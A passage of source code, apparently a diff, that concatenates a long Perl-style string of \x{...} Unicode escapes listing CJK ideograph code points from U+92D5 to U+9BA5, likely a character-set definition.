+'\x{92D5}\x{92D6}\x{92D7}\x{92D8}\x{92D9}\x{92DA}\x{92DC}\x{92DD}\x{92DE}' .
+'\x{92DF}\x{92E0}\x{92E1}\x{92E3}\x{92E4}\x{92E5}\x{92E6}\x{92E7}\x{92E8}' .
+'\x{92E9}\x{92EA}\x{92EB}\x{92EC}\x{92ED}\x{92EE}\x{92EF}\x{92F0}\x{92F1}' .
+'\x{92F2}\x{92F3}\x{92F4}\x{92F5}\x{92F6}\x{92F7}\x{92F8}\x{92F9}\x{92FA}' .
+'\x{92FB}\x{92FC}\x{92FD}\x{92FE}\x{92FF}\x{9300}\x{9301}\x{9302}\x{9303}' .
+'\x{9304}\x{9305}\x{9306}\x{9307}\x{9308}\x{9309}\x{930A}\x{930B}\x{930C}' .
+'\x{930D}\x{930E}\x{930F}\x{9310}\x{9311}\x{9312}\x{9313}\x{9314}\x{9315}' .
+'\x{9316}\x{9317}\x{9318}\x{9319}\x{931A}\x{931B}\x{931D}\x{931E}\x{931F}' .
+'\x{9320}\x{9321}\x{9322}\x{9323}\x{9324}\x{9325}\x{9326}\x{9327}\x{9328}' .
+'\x{9329}\x{932A}\x{932B}\x{932D}\x{932E}\x{932F}\x{9332}\x{9333}\x{9334}' .
+'\x{9335}\x{9336}\x{9337}\x{9338}\x{9339}\x{933A}\x{933B}\x{933C}\x{933D}' .
+'\x{933E}\x{933F}\x{9340}\x{9341}\x{9342}\x{9343}\x{9344}\x{9345}\x{9346}' .
+'\x{9347}\x{9348}\x{9349}\x{934A}\x{934B}\x{934C}\x{934D}\x{934E}\x{934F}' .
+'\x{9350}\x{9351}\x{9352}\x{9353}\x{9354}\x{9355}\x{9356}\x{9357}\x{9358}' .
+'\x{9359}\x{935A}\x{935B}\x{935C}\x{935D}\x{935E}\x{935F}\x{9360}\x{9361}' .
+'\x{9363}\x{9364}\x{9365}\x{9366}\x{9367}\x{9369}\x{936A}\x{936C}\x{936D}' .
+'\x{936E}\x{9370}\x{9371}\x{9372}\x{9374}\x{9375}\x{9376}\x{9377}\x{9379}' .
+'\x{937A}\x{937B}\x{937C}\x{937D}\x{937E}\x{9380}\x{9382}\x{9383}\x{9384}' .
+'\x{9385}\x{9386}\x{9387}\x{9388}\x{9389}\x{938A}\x{938C}\x{938D}\x{938E}' .
+'\x{938F}\x{9390}\x{9391}\x{9392}\x{9393}\x{9394}\x{9395}\x{9396}\x{9397}' .
+'\x{9398}\x{9399}\x{939A}\x{939B}\x{939D}\x{939E}\x{939F}\x{93A1}\x{93A2}' .
+'\x{93A3}\x{93A4}\x{93A5}\x{93A6}\x{93A7}\x{93A8}\x{93A9}\x{93AA}\x{93AC}' .
+'\x{93AD}\x{93AE}\x{93AF}\x{93B0}\x{93B1}\x{93B2}\x{93B3}\x{93B4}\x{93B5}' .
+'\x{93B6}\x{93B7}\x{93B8}\x{93B9}\x{93BA}\x{93BC}\x{93BD}\x{93BE}\x{93BF}' .
+'\x{93C0}\x{93C1}\x{93C2}\x{93C3}\x{93C4}\x{93C5}\x{93C6}\x{93C7}\x{93C8}' .
+'\x{93C9}\x{93CA}\x{93CB}\x{93CC}\x{93CD}\x{93CE}\x{93CF}\x{93D0}\x{93D1}' .
+'\x{93D2}\x{93D3}\x{93D4}\x{93D5}\x{93D6}\x{93D7}\x{93D8}\x{93D9}\x{93DA}' .
+'\x{93DB}\x{93DC}\x{93DD}\x{93DE}\x{93DF}\x{93E1}\x{93E2}\x{93E3}\x{93E4}' .
+'\x{93E6}\x{93E7}\x{93E8}\x{93E9}\x{93EA}\x{93EB}\x{93EC}\x{93ED}\x{93EE}' .
+'\x{93EF}\x{93F0}\x{93F1}\x{93F2}\x{93F4}\x{93F5}\x{93F6}\x{93F7}\x{93F8}' .
+'\x{93F9}\x{93FA}\x{93FB}\x{93FC}\x{93FD}\x{93FE}\x{93FF}\x{9400}\x{9401}' .
+'\x{9403}\x{9404}\x{9405}\x{9406}\x{9407}\x{9408}\x{9409}\x{940A}\x{940B}' .
+'\x{940C}\x{940D}\x{940E}\x{940F}\x{9410}\x{9411}\x{9412}\x{9413}\x{9414}' .
+'\x{9415}\x{9416}\x{9418}\x{9419}\x{941B}\x{941D}\x{9420}\x{9422}\x{9423}' .
+'\x{9425}\x{9426}\x{9427}\x{9428}\x{9429}\x{942A}\x{942B}\x{942C}\x{942D}' .
+'\x{942E}\x{942F}\x{9430}\x{9431}\x{9432}\x{9433}\x{9434}\x{9435}\x{9436}' .
+'\x{9437}\x{9438}\x{9439}\x{943A}\x{943B}\x{943C}\x{943D}\x{943E}\x{943F}' .
+'\x{9440}\x{9441}\x{9442}\x{9444}\x{9445}\x{9446}\x{9447}\x{9448}\x{9449}' .
+'\x{944A}\x{944B}\x{944C}\x{944D}\x{944F}\x{9450}\x{9451}\x{9452}\x{9453}' .
+'\x{9454}\x{9455}\x{9456}\x{9457}\x{9458}\x{9459}\x{945B}\x{945C}\x{945D}' .
+'\x{945E}\x{945F}\x{9460}\x{9461}\x{9462}\x{9463}\x{9464}\x{9465}\x{9466}' .
+'\x{9467}\x{9468}\x{9469}\x{946A}\x{946B}\x{946D}\x{946E}\x{946F}\x{9470}' .
+'\x{9471}\x{9472}\x{9473}\x{9474}\x{9475}\x{9476}\x{9477}\x{9478}\x{9479}' .
+'\x{947A}\x{947C}\x{947D}\x{947E}\x{947F}\x{9480}\x{9481}\x{9482}\x{9483}' .
+'\x{9484}\x{9485}\x{9486}\x{9487}\x{9488}\x{9489}\x{948A}\x{948B}\x{948C}' .
+'\x{948D}\x{948E}\x{948F}\x{9490}\x{9491}\x{9492}\x{9493}\x{9494}\x{9495}' .
+'\x{9496}\x{9497}\x{9498}\x{9499}\x{949A}\x{949B}\x{949C}\x{949D}\x{949E}' .
+'\x{949F}\x{94A0}\x{94A1}\x{94A2}\x{94A3}\x{94A4}\x{94A5}\x{94A6}\x{94A7}' .
+'\x{94A8}\x{94A9}\x{94AA}\x{94AB}\x{94AC}\x{94AD}\x{94AE}\x{94AF}\x{94B0}' .
+'\x{94B1}\x{94B2}\x{94B3}\x{94B4}\x{94B5}\x{94B6}\x{94B7}\x{94B8}\x{94B9}' .
+'\x{94BA}\x{94BB}\x{94BC}\x{94BD}\x{94BE}\x{94BF}\x{94C0}\x{94C1}\x{94C2}' .
+'\x{94C3}\x{94C4}\x{94C5}\x{94C6}\x{94C7}\x{94C8}\x{94C9}\x{94CA}\x{94CB}' .
+'\x{94CC}\x{94CD}\x{94CE}\x{94CF}\x{94D0}\x{94D1}\x{94D2}\x{94D3}\x{94D4}' .
+'\x{94D5}\x{94D6}\x{94D7}\x{94D8}\x{94D9}\x{94DA}\x{94DB}\x{94DC}\x{94DD}' .
+'\x{94DE}\x{94DF}\x{94E0}\x{94E1}\x{94E2}\x{94E3}\x{94E4}\x{94E5}\x{94E6}' .
+'\x{94E7}\x{94E8}\x{94E9}\x{94EA}\x{94EB}\x{94EC}\x{94ED}\x{94EE}\x{94EF}' .
+'\x{94F0}\x{94F1}\x{94F2}\x{94F3}\x{94F4}\x{94F5}\x{94F6}\x{94F7}\x{94F8}' .
+'\x{94F9}\x{94FA}\x{94FB}\x{94FC}\x{94FD}\x{94FE}\x{94FF}\x{9500}\x{9501}' .
+'\x{9502}\x{9503}\x{9504}\x{9505}\x{9506}\x{9507}\x{9508}\x{9509}\x{950A}' .
+'\x{950B}\x{950C}\x{950D}\x{950E}\x{950F}\x{9510}\x{9511}\x{9512}\x{9513}' .
+'\x{9514}\x{9515}\x{9516}\x{9517}\x{9518}\x{9519}\x{951A}\x{951B}\x{951C}' .
+'\x{951D}\x{951E}\x{951F}\x{9520}\x{9521}\x{9522}\x{9523}\x{9524}\x{9525}' .
+'\x{9526}\x{9527}\x{9528}\x{9529}\x{952A}\x{952B}\x{952C}\x{952D}\x{952E}' .
+'\x{952F}\x{9530}\x{9531}\x{9532}\x{9533}\x{9534}\x{9535}\x{9536}\x{9537}' .
+'\x{9538}\x{9539}\x{953A}\x{953B}\x{953C}\x{953D}\x{953E}\x{953F}\x{9540}' .
+'\x{9541}\x{9542}\x{9543}\x{9544}\x{9545}\x{9546}\x{9547}\x{9548}\x{9549}' .
+'\x{954A}\x{954B}\x{954C}\x{954D}\x{954E}\x{954F}\x{9550}\x{9551}\x{9552}' .
+'\x{9553}\x{9554}\x{9555}\x{9556}\x{9557}\x{9558}\x{9559}\x{955A}\x{955B}' .
+'\x{955C}\x{955D}\x{955E}\x{955F}\x{9560}\x{9561}\x{9562}\x{9563}\x{9564}' .
+'\x{9565}\x{9566}\x{9567}\x{9568}\x{9569}\x{956A}\x{956B}\x{956C}\x{956D}' .
+'\x{956E}\x{956F}\x{9570}\x{9571}\x{9572}\x{9573}\x{9574}\x{9575}\x{9576}' .
+'\x{9577}\x{957A}\x{957B}\x{957C}\x{957D}\x{957F}\x{9580}\x{9581}\x{9582}' .
+'\x{9583}\x{9584}\x{9586}\x{9587}\x{9588}\x{9589}\x{958A}\x{958B}\x{958C}' .
+'\x{958D}\x{958E}\x{958F}\x{9590}\x{9591}\x{9592}\x{9593}\x{9594}\x{9595}' .
+'\x{9596}\x{9598}\x{9599}\x{959A}\x{959B}\x{959C}\x{959D}\x{959E}\x{959F}' .
+'\x{95A1}\x{95A2}\x{95A3}\x{95A4}\x{95A5}\x{95A6}\x{95A7}\x{95A8}\x{95A9}' .
+'\x{95AA}\x{95AB}\x{95AC}\x{95AD}\x{95AE}\x{95AF}\x{95B0}\x{95B1}\x{95B2}' .
+'\x{95B5}\x{95B6}\x{95B7}\x{95B9}\x{95BA}\x{95BB}\x{95BC}\x{95BD}\x{95BE}' .
+'\x{95BF}\x{95C0}\x{95C2}\x{95C3}\x{95C4}\x{95C5}\x{95C6}\x{95C7}\x{95C8}' .
+'\x{95C9}\x{95CA}\x{95CB}\x{95CC}\x{95CD}\x{95CE}\x{95CF}\x{95D0}\x{95D1}' .
+'\x{95D2}\x{95D3}\x{95D4}\x{95D5}\x{95D6}\x{95D7}\x{95D8}\x{95DA}\x{95DB}' .
+'\x{95DC}\x{95DE}\x{95DF}\x{95E0}\x{95E1}\x{95E2}\x{95E3}\x{95E4}\x{95E5}' .
+'\x{95E6}\x{95E7}\x{95E8}\x{95E9}\x{95EA}\x{95EB}\x{95EC}\x{95ED}\x{95EE}' .
+'\x{95EF}\x{95F0}\x{95F1}\x{95F2}\x{95F3}\x{95F4}\x{95F5}\x{95F6}\x{95F7}' .
+'\x{95F8}\x{95F9}\x{95FA}\x{95FB}\x{95FC}\x{95FD}\x{95FE}\x{95FF}\x{9600}' .
+'\x{9601}\x{9602}\x{9603}\x{9604}\x{9605}\x{9606}\x{9607}\x{9608}\x{9609}' .
+'\x{960A}\x{960B}\x{960C}\x{960D}\x{960E}\x{960F}\x{9610}\x{9611}\x{9612}' .
+'\x{9613}\x{9614}\x{9615}\x{9616}\x{9617}\x{9618}\x{9619}\x{961A}\x{961B}' .
+'\x{961C}\x{961D}\x{961E}\x{961F}\x{9620}\x{9621}\x{9622}\x{9623}\x{9624}' .
+'\x{9627}\x{9628}\x{962A}\x{962B}\x{962C}\x{962D}\x{962E}\x{962F}\x{9630}' .
+'\x{9631}\x{9632}\x{9633}\x{9634}\x{9635}\x{9636}\x{9637}\x{9638}\x{9639}' .
+'\x{963A}\x{963B}\x{963C}\x{963D}\x{963F}\x{9640}\x{9641}\x{9642}\x{9643}' .
+'\x{9644}\x{9645}\x{9646}\x{9647}\x{9648}\x{9649}\x{964A}\x{964B}\x{964C}' .
+'\x{964D}\x{964E}\x{964F}\x{9650}\x{9651}\x{9652}\x{9653}\x{9654}\x{9655}' .
+'\x{9658}\x{9659}\x{965A}\x{965B}\x{965C}\x{965D}\x{965E}\x{965F}\x{9660}' .
+'\x{9661}\x{9662}\x{9663}\x{9664}\x{9666}\x{9667}\x{9668}\x{9669}\x{966A}' .
+'\x{966B}\x{966C}\x{966D}\x{966E}\x{966F}\x{9670}\x{9671}\x{9672}\x{9673}' .
+'\x{9674}\x{9675}\x{9676}\x{9677}\x{9678}\x{967C}\x{967D}\x{967E}\x{9680}' .
+'\x{9683}\x{9684}\x{9685}\x{9686}\x{9687}\x{9688}\x{9689}\x{968A}\x{968B}' .
+'\x{968D}\x{968E}\x{968F}\x{9690}\x{9691}\x{9692}\x{9693}\x{9694}\x{9695}' .
+'\x{9697}\x{9698}\x{9699}\x{969B}\x{969C}\x{969E}\x{96A0}\x{96A1}\x{96A2}' .
+'\x{96A3}\x{96A4}\x{96A5}\x{96A6}\x{96A7}\x{96A8}\x{96A9}\x{96AA}\x{96AC}' .
+'\x{96AD}\x{96AE}\x{96B0}\x{96B1}\x{96B3}\x{96B4}\x{96B6}\x{96B7}\x{96B8}' .
+'\x{96B9}\x{96BA}\x{96BB}\x{96BC}\x{96BD}\x{96BE}\x{96BF}\x{96C0}\x{96C1}' .
+'\x{96C2}\x{96C3}\x{96C4}\x{96C5}\x{96C6}\x{96C7}\x{96C8}\x{96C9}\x{96CA}' .
+'\x{96CB}\x{96CC}\x{96CD}\x{96CE}\x{96CF}\x{96D0}\x{96D1}\x{96D2}\x{96D3}' .
+'\x{96D4}\x{96D5}\x{96D6}\x{96D7}\x{96D8}\x{96D9}\x{96DA}\x{96DB}\x{96DC}' .
+'\x{96DD}\x{96DE}\x{96DF}\x{96E0}\x{96E1}\x{96E2}\x{96E3}\x{96E5}\x{96E8}' .
+'\x{96E9}\x{96EA}\x{96EB}\x{96EC}\x{96ED}\x{96EE}\x{96EF}\x{96F0}\x{96F1}' .
+'\x{96F2}\x{96F3}\x{96F4}\x{96F5}\x{96F6}\x{96F7}\x{96F8}\x{96F9}\x{96FA}' .
+'\x{96FB}\x{96FD}\x{96FE}\x{96FF}\x{9700}\x{9701}\x{9702}\x{9703}\x{9704}' .
+'\x{9705}\x{9706}\x{9707}\x{9708}\x{9709}\x{970A}\x{970B}\x{970C}\x{970D}' .
+'\x{970E}\x{970F}\x{9710}\x{9711}\x{9712}\x{9713}\x{9715}\x{9716}\x{9718}' .
+'\x{9719}\x{971C}\x{971D}\x{971E}\x{971F}\x{9720}\x{9721}\x{9722}\x{9723}' .
+'\x{9724}\x{9725}\x{9726}\x{9727}\x{9728}\x{9729}\x{972A}\x{972B}\x{972C}' .
+'\x{972D}\x{972E}\x{972F}\x{9730}\x{9731}\x{9732}\x{9735}\x{9736}\x{9738}' .
+'\x{9739}\x{973A}\x{973B}\x{973C}\x{973D}\x{973E}\x{973F}\x{9742}\x{9743}' .
+'\x{9744}\x{9745}\x{9746}\x{9747}\x{9748}\x{9749}\x{974A}\x{974B}\x{974C}' .
+'\x{974E}\x{974F}\x{9750}\x{9751}\x{9752}\x{9753}\x{9754}\x{9755}\x{9756}' .
+'\x{9758}\x{9759}\x{975A}\x{975B}\x{975C}\x{975D}\x{975E}\x{975F}\x{9760}' .
+'\x{9761}\x{9762}\x{9765}\x{9766}\x{9767}\x{9768}\x{9769}\x{976A}\x{976B}' .
+'\x{976C}\x{976D}\x{976E}\x{976F}\x{9770}\x{9772}\x{9773}\x{9774}\x{9776}' .
+'\x{9777}\x{9778}\x{9779}\x{977A}\x{977B}\x{977C}\x{977D}\x{977E}\x{977F}' .
+'\x{9780}\x{9781}\x{9782}\x{9783}\x{9784}\x{9785}\x{9786}\x{9788}\x{978A}' .
+'\x{978B}\x{978C}\x{978D}\x{978E}\x{978F}\x{9790}\x{9791}\x{9792}\x{9793}' .
+'\x{9794}\x{9795}\x{9796}\x{9797}\x{9798}\x{9799}\x{979A}\x{979C}\x{979D}' .
+'\x{979E}\x{979F}\x{97A0}\x{97A1}\x{97A2}\x{97A3}\x{97A4}\x{97A5}\x{97A6}' .
+'\x{97A7}\x{97A8}\x{97AA}\x{97AB}\x{97AC}\x{97AD}\x{97AE}\x{97AF}\x{97B2}' .
+'\x{97B3}\x{97B4}\x{97B6}\x{97B7}\x{97B8}\x{97B9}\x{97BA}\x{97BB}\x{97BC}' .
+'\x{97BD}\x{97BF}\x{97C1}\x{97C2}\x{97C3}\x{97C4}\x{97C5}\x{97C6}\x{97C7}' .
+'\x{97C8}\x{97C9}\x{97CA}\x{97CB}\x{97CC}\x{97CD}\x{97CE}\x{97CF}\x{97D0}' .
+'\x{97D1}\x{97D3}\x{97D4}\x{97D5}\x{97D6}\x{97D7}\x{97D8}\x{97D9}\x{97DA}' .
+'\x{97DB}\x{97DC}\x{97DD}\x{97DE}\x{97DF}\x{97E0}\x{97E1}\x{97E2}\x{97E3}' .
+'\x{97E4}\x{97E5}\x{97E6}\x{97E7}\x{97E8}\x{97E9}\x{97EA}\x{97EB}\x{97EC}' .
+'\x{97ED}\x{97EE}\x{97EF}\x{97F0}\x{97F1}\x{97F2}\x{97F3}\x{97F4}\x{97F5}' .
+'\x{97F6}\x{97F7}\x{97F8}\x{97F9}\x{97FA}\x{97FB}\x{97FD}\x{97FE}\x{97FF}' .
+'\x{9800}\x{9801}\x{9802}\x{9803}\x{9804}\x{9805}\x{9806}\x{9807}\x{9808}' .
+'\x{9809}\x{980A}\x{980B}\x{980C}\x{980D}\x{980E}\x{980F}\x{9810}\x{9811}' .
+'\x{9812}\x{9813}\x{9814}\x{9815}\x{9816}\x{9817}\x{9818}\x{9819}\x{981A}' .
+'\x{981B}\x{981C}\x{981D}\x{981E}\x{9820}\x{9821}\x{9822}\x{9823}\x{9824}' .
+'\x{9826}\x{9827}\x{9828}\x{9829}\x{982B}\x{982D}\x{982E}\x{982F}\x{9830}' .
+'\x{9831}\x{9832}\x{9834}\x{9835}\x{9836}\x{9837}\x{9838}\x{9839}\x{983B}' .
+'\x{983C}\x{983D}\x{983F}\x{9840}\x{9841}\x{9843}\x{9844}\x{9845}\x{9846}' .
+'\x{9848}\x{9849}\x{984A}\x{984C}\x{984D}\x{984E}\x{984F}\x{9850}\x{9851}' .
+'\x{9852}\x{9853}\x{9854}\x{9855}\x{9857}\x{9858}\x{9859}\x{985A}\x{985B}' .
+'\x{985C}\x{985D}\x{985E}\x{985F}\x{9860}\x{9861}\x{9862}\x{9863}\x{9864}' .
+'\x{9865}\x{9867}\x{9869}\x{986A}\x{986B}\x{986C}\x{986D}\x{986E}\x{986F}' .
+'\x{9870}\x{9871}\x{9872}\x{9873}\x{9874}\x{9875}\x{9876}\x{9877}\x{9878}' .
+'\x{9879}\x{987A}\x{987B}\x{987C}\x{987D}\x{987E}\x{987F}\x{9880}\x{9881}' .
+'\x{9882}\x{9883}\x{9884}\x{9885}\x{9886}\x{9887}\x{9888}\x{9889}\x{988A}' .
+'\x{988B}\x{988C}\x{988D}\x{988E}\x{988F}\x{9890}\x{9891}\x{9892}\x{9893}' .
+'\x{9894}\x{9895}\x{9896}\x{9897}\x{9898}\x{9899}\x{989A}\x{989B}\x{989C}' .
+'\x{989D}\x{989E}\x{989F}\x{98A0}\x{98A1}\x{98A2}\x{98A3}\x{98A4}\x{98A5}' .
+'\x{98A6}\x{98A7}\x{98A8}\x{98A9}\x{98AA}\x{98AB}\x{98AC}\x{98AD}\x{98AE}' .
+'\x{98AF}\x{98B0}\x{98B1}\x{98B2}\x{98B3}\x{98B4}\x{98B5}\x{98B6}\x{98B8}' .
+'\x{98B9}\x{98BA}\x{98BB}\x{98BC}\x{98BD}\x{98BE}\x{98BF}\x{98C0}\x{98C1}' .
+'\x{98C2}\x{98C3}\x{98C4}\x{98C5}\x{98C6}\x{98C8}\x{98C9}\x{98CB}\x{98CC}' .
+'\x{98CD}\x{98CE}\x{98CF}\x{98D0}\x{98D1}\x{98D2}\x{98D3}\x{98D4}\x{98D5}' .
+'\x{98D6}\x{98D7}\x{98D8}\x{98D9}\x{98DA}\x{98DB}\x{98DC}\x{98DD}\x{98DE}' .
+'\x{98DF}\x{98E0}\x{98E2}\x{98E3}\x{98E5}\x{98E6}\x{98E7}\x{98E8}\x{98E9}' .
+'\x{98EA}\x{98EB}\x{98ED}\x{98EF}\x{98F0}\x{98F2}\x{98F3}\x{98F4}\x{98F5}' .
+'\x{98F6}\x{98F7}\x{98F9}\x{98FA}\x{98FC}\x{98FD}\x{98FE}\x{98FF}\x{9900}' .
+'\x{9901}\x{9902}\x{9903}\x{9904}\x{9905}\x{9906}\x{9907}\x{9908}\x{9909}' .
+'\x{990A}\x{990B}\x{990C}\x{990D}\x{990E}\x{990F}\x{9910}\x{9911}\x{9912}' .
+'\x{9913}\x{9914}\x{9915}\x{9916}\x{9917}\x{9918}\x{991A}\x{991B}\x{991C}' .
+'\x{991D}\x{991E}\x{991F}\x{9920}\x{9921}\x{9922}\x{9923}\x{9924}\x{9925}' .
+'\x{9926}\x{9927}\x{9928}\x{9929}\x{992A}\x{992B}\x{992C}\x{992D}\x{992E}' .
+'\x{992F}\x{9930}\x{9931}\x{9932}\x{9933}\x{9934}\x{9935}\x{9936}\x{9937}' .
+'\x{9938}\x{9939}\x{993A}\x{993C}\x{993D}\x{993E}\x{993F}\x{9940}\x{9941}' .
+'\x{9942}\x{9943}\x{9945}\x{9946}\x{9947}\x{9948}\x{9949}\x{994A}\x{994B}' .
+'\x{994C}\x{994E}\x{994F}\x{9950}\x{9951}\x{9952}\x{9953}\x{9954}\x{9955}' .
+'\x{9956}\x{9957}\x{9958}\x{9959}\x{995B}\x{995C}\x{995E}\x{995F}\x{9960}' .
+'\x{9961}\x{9962}\x{9963}\x{9964}\x{9965}\x{9966}\x{9967}\x{9968}\x{9969}' .
+'\x{996A}\x{996B}\x{996C}\x{996D}\x{996E}\x{996F}\x{9970}\x{9971}\x{9972}' .
+'\x{9973}\x{9974}\x{9975}\x{9976}\x{9977}\x{9978}\x{9979}\x{997A}\x{997B}' .
+'\x{997C}\x{997D}\x{997E}\x{997F}\x{9980}\x{9981}\x{9982}\x{9983}\x{9984}' .
+'\x{9985}\x{9986}\x{9987}\x{9988}\x{9989}\x{998A}\x{998B}\x{998C}\x{998D}' .
+'\x{998E}\x{998F}\x{9990}\x{9991}\x{9992}\x{9993}\x{9994}\x{9995}\x{9996}' .
+'\x{9997}\x{9998}\x{9999}\x{999A}\x{999B}\x{999C}\x{999D}\x{999E}\x{999F}' .
+'\x{99A0}\x{99A1}\x{99A2}\x{99A3}\x{99A4}\x{99A5}\x{99A6}\x{99A7}\x{99A8}' .
+'\x{99A9}\x{99AA}\x{99AB}\x{99AC}\x{99AD}\x{99AE}\x{99AF}\x{99B0}\x{99B1}' .
+'\x{99B2}\x{99B3}\x{99B4}\x{99B5}\x{99B6}\x{99B7}\x{99B8}\x{99B9}\x{99BA}' .
+'\x{99BB}\x{99BC}\x{99BD}\x{99BE}\x{99C0}\x{99C1}\x{99C2}\x{99C3}\x{99C4}' .
+'\x{99C6}\x{99C7}\x{99C8}\x{99C9}\x{99CA}\x{99CB}\x{99CC}\x{99CD}\x{99CE}' .
+'\x{99CF}\x{99D0}\x{99D1}\x{99D2}\x{99D3}\x{99D4}\x{99D5}\x{99D6}\x{99D7}' .
+'\x{99D8}\x{99D9}\x{99DA}\x{99DB}\x{99DC}\x{99DD}\x{99DE}\x{99DF}\x{99E1}' .
+'\x{99E2}\x{99E3}\x{99E4}\x{99E5}\x{99E7}\x{99E8}\x{99E9}\x{99EA}\x{99EC}' .
+'\x{99ED}\x{99EE}\x{99EF}\x{99F0}\x{99F1}\x{99F2}\x{99F3}\x{99F4}\x{99F6}' .
+'\x{99F7}\x{99F8}\x{99F9}\x{99FA}\x{99FB}\x{99FC}\x{99FD}\x{99FE}\x{99FF}' .
+'\x{9A00}\x{9A01}\x{9A02}\x{9A03}\x{9A04}\x{9A05}\x{9A06}\x{9A07}\x{9A08}' .
+'\x{9A09}\x{9A0A}\x{9A0B}\x{9A0C}\x{9A0D}\x{9A0E}\x{9A0F}\x{9A11}\x{9A14}' .
+'\x{9A15}\x{9A16}\x{9A19}\x{9A1A}\x{9A1B}\x{9A1C}\x{9A1D}\x{9A1E}\x{9A1F}' .
+'\x{9A20}\x{9A21}\x{9A22}\x{9A23}\x{9A24}\x{9A25}\x{9A26}\x{9A27}\x{9A29}' .
+'\x{9A2A}\x{9A2B}\x{9A2C}\x{9A2D}\x{9A2E}\x{9A2F}\x{9A30}\x{9A31}\x{9A32}' .
+'\x{9A33}\x{9A34}\x{9A35}\x{9A36}\x{9A37}\x{9A38}\x{9A39}\x{9A3A}\x{9A3C}' .
+'\x{9A3D}\x{9A3E}\x{9A3F}\x{9A40}\x{9A41}\x{9A42}\x{9A43}\x{9A44}\x{9A45}' .
+'\x{9A46}\x{9A47}\x{9A48}\x{9A49}\x{9A4A}\x{9A4B}\x{9A4C}\x{9A4D}\x{9A4E}' .
+'\x{9A4F}\x{9A50}\x{9A52}\x{9A53}\x{9A54}\x{9A55}\x{9A56}\x{9A57}\x{9A59}' .
+'\x{9A5A}\x{9A5B}\x{9A5C}\x{9A5E}\x{9A5F}\x{9A60}\x{9A61}\x{9A62}\x{9A64}' .
+'\x{9A65}\x{9A66}\x{9A67}\x{9A68}\x{9A69}\x{9A6A}\x{9A6B}\x{9A6C}\x{9A6D}' .
+'\x{9A6E}\x{9A6F}\x{9A70}\x{9A71}\x{9A72}\x{9A73}\x{9A74}\x{9A75}\x{9A76}' .
+'\x{9A77}\x{9A78}\x{9A79}\x{9A7A}\x{9A7B}\x{9A7C}\x{9A7D}\x{9A7E}\x{9A7F}' .
+'\x{9A80}\x{9A81}\x{9A82}\x{9A83}\x{9A84}\x{9A85}\x{9A86}\x{9A87}\x{9A88}' .
+'\x{9A89}\x{9A8A}\x{9A8B}\x{9A8C}\x{9A8D}\x{9A8E}\x{9A8F}\x{9A90}\x{9A91}' .
+'\x{9A92}\x{9A93}\x{9A94}\x{9A95}\x{9A96}\x{9A97}\x{9A98}\x{9A99}\x{9A9A}' .
+'\x{9A9B}\x{9A9C}\x{9A9D}\x{9A9E}\x{9A9F}\x{9AA0}\x{9AA1}\x{9AA2}\x{9AA3}' .
+'\x{9AA4}\x{9AA5}\x{9AA6}\x{9AA7}\x{9AA8}\x{9AAA}\x{9AAB}\x{9AAC}\x{9AAD}' .
+'\x{9AAE}\x{9AAF}\x{9AB0}\x{9AB1}\x{9AB2}\x{9AB3}\x{9AB4}\x{9AB5}\x{9AB6}' .
+'\x{9AB7}\x{9AB8}\x{9AB9}\x{9ABA}\x{9ABB}\x{9ABC}\x{9ABE}\x{9ABF}\x{9AC0}' .
+'\x{9AC1}\x{9AC2}\x{9AC3}\x{9AC4}\x{9AC5}\x{9AC6}\x{9AC7}\x{9AC9}\x{9ACA}' .
+'\x{9ACB}\x{9ACC}\x{9ACD}\x{9ACE}\x{9ACF}\x{9AD0}\x{9AD1}\x{9AD2}\x{9AD3}' .
+'\x{9AD4}\x{9AD5}\x{9AD6}\x{9AD8}\x{9AD9}\x{9ADA}\x{9ADB}\x{9ADC}\x{9ADD}' .
+'\x{9ADE}\x{9ADF}\x{9AE1}\x{9AE2}\x{9AE3}\x{9AE5}\x{9AE6}\x{9AE7}\x{9AEA}' .
+'\x{9AEB}\x{9AEC}\x{9AED}\x{9AEE}\x{9AEF}\x{9AF1}\x{9AF2}\x{9AF3}\x{9AF4}' .
+'\x{9AF5}\x{9AF6}\x{9AF7}\x{9AF8}\x{9AF9}\x{9AFA}\x{9AFB}\x{9AFC}\x{9AFD}' .
+'\x{9AFE}\x{9AFF}\x{9B01}\x{9B03}\x{9B04}\x{9B05}\x{9B06}\x{9B07}\x{9B08}' .
+'\x{9B0A}\x{9B0B}\x{9B0C}\x{9B0D}\x{9B0E}\x{9B0F}\x{9B10}\x{9B11}\x{9B12}' .
+'\x{9B13}\x{9B15}\x{9B16}\x{9B17}\x{9B18}\x{9B19}\x{9B1A}\x{9B1C}\x{9B1D}' .
+'\x{9B1E}\x{9B1F}\x{9B20}\x{9B21}\x{9B22}\x{9B23}\x{9B24}\x{9B25}\x{9B26}' .
+'\x{9B27}\x{9B28}\x{9B29}\x{9B2A}\x{9B2B}\x{9B2C}\x{9B2D}\x{9B2E}\x{9B2F}' .
+'\x{9B30}\x{9B31}\x{9B32}\x{9B33}\x{9B35}\x{9B36}\x{9B37}\x{9B38}\x{9B39}' .
+'\x{9B3A}\x{9B3B}\x{9B3C}\x{9B3E}\x{9B3F}\x{9B41}\x{9B42}\x{9B43}\x{9B44}' .
+'\x{9B45}\x{9B46}\x{9B47}\x{9B48}\x{9B49}\x{9B4A}\x{9B4B}\x{9B4C}\x{9B4D}' .
+'\x{9B4E}\x{9B4F}\x{9B51}\x{9B52}\x{9B53}\x{9B54}\x{9B55}\x{9B56}\x{9B58}' .
+'\x{9B59}\x{9B5A}\x{9B5B}\x{9B5C}\x{9B5D}\x{9B5E}\x{9B5F}\x{9B60}\x{9B61}' .
+'\x{9B63}\x{9B64}\x{9B65}\x{9B66}\x{9B67}\x{9B68}\x{9B69}\x{9B6A}\x{9B6B}' .
+'\x{9B6C}\x{9B6D}\x{9B6E}\x{9B6F}\x{9B70}\x{9B71}\x{9B73}\x{9B74}\x{9B75}' .
+'\x{9B76}\x{9B77}\x{9B78}\x{9B79}\x{9B7A}\x{9B7B}\x{9B7C}\x{9B7D}\x{9B7E}' .
+'\x{9B7F}\x{9B80}\x{9B81}\x{9B82}\x{9B83}\x{9B84}\x{9B85}\x{9B86}\x{9B87}' .
+'\x{9B88}\x{9B8A}\x{9B8B}\x{9B8D}\x{9B8E}\x{9B8F}\x{9B90}\x{9B91}\x{9B92}' .
+'\x{9B93}\x{9B94}\x{9B95}\x{9B96}\x{9B97}\x{9B98}\x{9B9A}\x{9B9B}\x{9B9C}' .
+'\x{9B9D}\x{9B9E}\x{9B9F}\x{9BA0}\x{9BA1}\x{9BA2}\x{9BA3}\x{9BA4}\x{9BA5}' .
